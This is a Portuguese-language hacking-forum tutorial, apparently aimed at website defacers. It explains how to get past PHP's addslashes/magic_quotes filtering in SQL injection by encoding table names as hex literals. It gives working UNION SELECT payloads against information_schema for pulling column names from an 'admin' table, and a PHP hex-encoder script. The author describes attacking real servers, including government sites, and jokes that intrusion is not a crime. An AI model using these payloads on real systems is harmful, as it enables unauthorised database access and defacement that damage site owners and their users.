Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Burlando addslashes/magic_quotes facilmente

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Burlando addslashes/magic_quotes facilmente

    Qual o defacer que nunca se deparou com um website vulnerável, mas com addslashes?
    O que é addslashes()?
    É uma função do PHP que escapa as aspas e barras invertidas de uma string, colocando antes delas uma barra invertida, fazendo-a ficar inválida.
    Veja um exemplo:
    Se você tem a query:
    SELECT * FROM noticias WHERE id=addslashes($id)
    E colocar uma aspa na URL, olhe o que aconteceria:
    WHERE id=1\'23
    Mais informações no Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
    Isto nem sempre impede, mas dificulta um ataque de SQLi. Por exemplo, quando você estiver obtendo os nomes das colunas, isto não funcionaria:
    ?id=-123 UNION ALL SELECT column_name FROM information_schema.columns WHERE table_name=('admin') LIMIT 1,1
    Sabe porque? Por causa das aspas usadas no table_name. Assim, você teria que ir buscando todas as colunas de todo o banco de dados e anotando os nomes das mesmas, assim:
    ?id=-123 UNION ALL SELECT concat(column_name,0x3c3d3e,table_name,0x3c3d3e,ta ble_schema) FROM information_schema.columns LIMIT 1,1
    Assim, você iria alterando o LIMIT de 1,1 para 2,1 3,1 4,1 734,1 1553,1 (isto porque começaria desde o information_schema). Realmente é muito cansativo, certo? Pode acreditar: antes de conhecer o método que mostrarei aqui, já enfrentei sites com mais de 4 mil colunas. Sim, era daqueles servidores que possuem vários websites na mesma conta e verificam o domínio requisitado para redirecionar o usuário. Exemplos disso são a maioria dos sites governamentais do Espírito Santo. Todos ficam num mesmo servidor e é comum ver sites com mais de um banco de dados (isto porque todos os sites são administrados através Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...).

    Então vamos ver do que se trata o método: iremos burlar o addslashes() ou o magic_quotes usando códigos hexadecimais.
    Ou seja, transformaremos o nome do ítem que queremos em um hash hexadecimal. Veja, por exemplo, como pegaríamos os dados do exemplo acima facilmente, sem precisar das aspas:
    ?id=-123 UNION ALL SELECT column_name FROM information_schema.columns WHERE table_name=0x61646d696e LIMIT 1,1
    Não precisamos de aspas, mas o ataque será bem-sucedido.
    Mas calma, ninguém precisa aprender a calcular hexadecimal à mão (o que realmente seria bom) ou usar a calculadora do Windows e enfrentar diversas dificuldades com ela. Vou deixar aqui um tool em PHP codado por mim que faz o trabalho sujo de "hexadecimar" uma string. Veja:
    Código PHP:
    <?php
    /* PHP HexEncoder by 0KaL
    www.0kal.t35.com */
    error_reporting(0);
    set_time_limit(0);
    header('Content-type: text/html; charset=utf-8');
    ?>
    <html>
    <head>
    <title>HEX Encoder by 0KaL</title>
    </head>
    <?php
    if($_SERVER['QUERY_STRING']!=null) {
    function 
    hex($string){
        
    $hex='';
        for (
    $i=0$i strlen($string); $i++){
            
    $hex .= dechex(ord($string[$i]));
        }
        return 
    $hex;
    }

    $hex hex(urldecode($_SERVER['QUERY_STRING']));

    print 
    '<b>'.urldecode($_SERVER['QUERY_STRING'])."</b> = <b>0x".$hex.'</b>';
    } else {
    ?>
    <script type="text/javascript">
    var string = prompt("Digite a string que será convertida:", "");
    if(string!='') {
        location.href='<?php echo basename(__FILE__); ?>?'+escape(string);
    }
    </script>
    <?php
    }
    ?>
    </html>
    Pegue o código acima e salve com extensão php (qualquernome.php). Envie para o seu servidor (pode ser até mesmo no WampServer ou EasyPHP (ou Apache puro) no seu computador. Então, rode o script pelo navegador, usando:
    Código:
    http://localhost/qualquernome.php
    Aparecerá uma caixinha escrita "Digite a string que será convertida:". No campo, você digitará a string (ou seja, a tabela que você quer, neste caso) e ele retorna a string já em hexadecimal. Simples, mas útil.
    Serve também para você que está cansado do : (0x3a) e do <=> (0x3c3d3e) e quer criar seu próprio separador. Coloque o seu novo separador (exemplo: |) no campo e pronto.
    Não tem um servidor? Sem problemas, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Só não garanto que estará on-line todo o tempo, já que o T35 tem ido de pior a pior ainda nos últimos dias.

    $ate++;
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads
X
Working...
X